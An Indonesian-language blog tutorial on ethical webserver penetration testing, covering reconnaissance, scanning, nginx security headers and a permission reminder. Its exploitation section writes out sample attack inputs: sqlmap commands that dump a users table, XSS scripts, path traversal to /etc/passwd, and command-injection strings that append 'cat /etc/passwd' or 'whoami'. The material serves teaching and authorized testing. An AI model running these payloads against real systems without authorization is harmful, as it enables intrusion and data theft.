Panduan Lengkap Pentesting Webserver: Tools, Teknik, dan Checklist
Belajar melakukan penetration testing pada webserver secara ethical. Mulai dari reconnaissance, scanning, hingga exploitation dengan tools profesional.
- Phase 1: Reconnaissance
- Passive Reconnaissance
- Active Reconnaissance
- Phase 2: Scanning dan Vulnerability Assessment
- Web Vulnerability Scanning
- SSL/TLS Testing
- Security Headers Check
- Phase 3: Exploitation
- SQL Injection
- XSS (Cross-Site Scripting)
- Directory Traversal
- Command Injection
- Checklist Pentesting Webserver
- Security Headers yang Harus Ada
- Catatan Ethical
- Kesimpulan
Pentesting webserver adalah proses menguji keamanan server web secara ethical untuk menemukan vulnerabilitas sebelum attacker mengeksploitasinya. Artikel ini akan membahas tools, teknik, dan checklist lengkap untuk melakukan pentesting secara bertanggung jawab.
Phase 1: Reconnaissance
Sebelum menyerang, attacker (atau pentester) akan mengumpulkan informasi sebanyak mungkin tentang target.
Passive Reconnaissance
# Cari informasi dari public sources
whois target-server.com
dig target-server.com ANY
theHarvester -d target-server.com -b google,linkedin,github
# Cari subdomain
subfinder -d target-server.com -o subdomains.txt
amass enum -passive -d target-server.com -o amass.txt
# Cari informasi dari Google Dorking
site:target-server.com filetype:sql
site:target-server.com inurl:admin
site:target-server.com intitle:"index of"
Active Reconnaissance
# Scan port dan service
nmap -sV -sC -O -p- target-server.com
# Cek technology stack
whatweb target-server.com
wappalyzer target-server.com
# Enumerasi direktori
gobuster dir -u https://target-server.com -w /usr/share/wordlists/dirb/common.txt -x php,html,js
# Enumerasi subdomain aktif
gobuster dns -d target-server.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Phase 2: Scanning dan Vulnerability Assessment
Web Vulnerability Scanning
# Nikto - web server scanner
nikto -h https://target-server.com
# OWASP ZAP (GUI)
# Buka ZAP → Quick Scan → masukkan URL target
# WPScan - WordPress scanner
wpscan --url https://target-server.com --enumerate vp,vt,u
# Nuclei - template-based scanner
nuclei -u https://target-server.com -t cves/
SSL/TLS Testing
# Test SSL configuration
testssl.sh target-server.com
# Cek sertifikat
openssl s_client -connect target-server.com:443 -servername target-server.com
# Online test
# https://www.ssllabs.com/ssltest/
Security Headers Check
# Cek security headers
curl -s -I https://target-server.com | grep -i "strict-transport\|x-frame\|x-content-type\|x-xss\|content-security"
# Online check
# https://securityheaders.com/
Phase 3: Exploitation
SQL Injection
# Test dengan sqlmap
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D database_name --tables
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump
XSS (Cross-Site Scripting)
# Test reflected XSS
curl "https://target.com/search?q=<script>alert('XSS')</script>"
# Test stored XSS via POST
curl -X POST https://target.com/comment -d "comment=<script>alert('XSS')</script>"
Directory Traversal
# Test akses file sensitif
curl "https://target.com/../../../etc/passwd"
curl "https://target.com/....//....//etc/passwd"
Command Injection
# Test command injection
curl "https://target.com/ping?ip=127.0.0.1;cat /etc/passwd"
curl "https://target.com/ping?ip=127.0.0.1|whoami"
Checklist Pentesting Webserver
| Area | Tools | Yang Diuji |
|---|---|---|
| Port Scanning | Nmap, Masscan | Port terbuka, service running |
| Web Scanning | Nikto, OWASP ZAP | Vulnerability umum |
| SSL Testing | SSL Labs, testssl.sh | Sertifikat SSL/TLS |
| Header Analysis | SecurityHeaders.com | Security headers |
| Credential Testing | Hydra, Medusa | Brute force login |
| CMS Scanning | WPScan, JoomlaScan | Plugin/theme vulnerable |
| API Testing | Postman, Burp Suite | API endpoint vulnerabilities |
| File Upload | Manual testing | Unrestricted file upload |
Security Headers yang Harus Ada
# Nginx security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Catatan Ethical
Pentesting hanya boleh dilakukan pada sistem yang kamu miliki atau mendapat izin tertulis dari pemilik. Tanpa izin, tindakan ini adalah ilegal dan bisa dikenakan sanksi hukum berdasarkan UU ITE di Indonesia.
Kesimpulan
Pentesting webserver adalah proses yang sistematis dan membutuhkan pemahaman mendalam tentang attack surface. Mulai dari reconnaissance, scanning, hingga exploitation, setiap phase memiliki tools dan teknik tersendiri. Yang terpenting: selalu dapat izin sebelum testing, dan gunakan pengetahuan ini untuk memperkuat pertahanan, bukan untuk menyerang.
Artikel Terkait
Kernel Hardening Linux: Cara Membuat Server Kamu Benar-benar Aman
Panduan lengkap hardening kernel Linux untuk keamanan server. Sysctl, AppArmor, SELinux, SSH hardening, dan firewall configuration.
SecurityWiFi Security: Mengenal Airdump, Bahaya WiFi Publik, dan Cara Melindungi Diri
Panduan lengkap keamanan WiFi dari sisi attacker dan defender. Mengenal airodump-ng, bahaya public WiFi, hingga tips aman browsing di jaringan wireless.
Security10 Tips Keamanan Siber yang Harus Kamu Tahu di 2026
Kumpulan tips keamanan siber praktis yang bisa langsung kamu terapkan untuk melindungi diri di era digital.
Ide kamu layak dibaca ribuan orang.
ByteNesia dibangun untuk semua orang. Kalau kamu punya pengalaman, tutorial, atau opini tentang teknologi, tulis dan bagikan lewat sini. Nama kamu akan tercantum sebagai kontributor.
Tulis apa saja: review tools, tutorial homelab, tips security, atau cerita pengalaman tech kamu.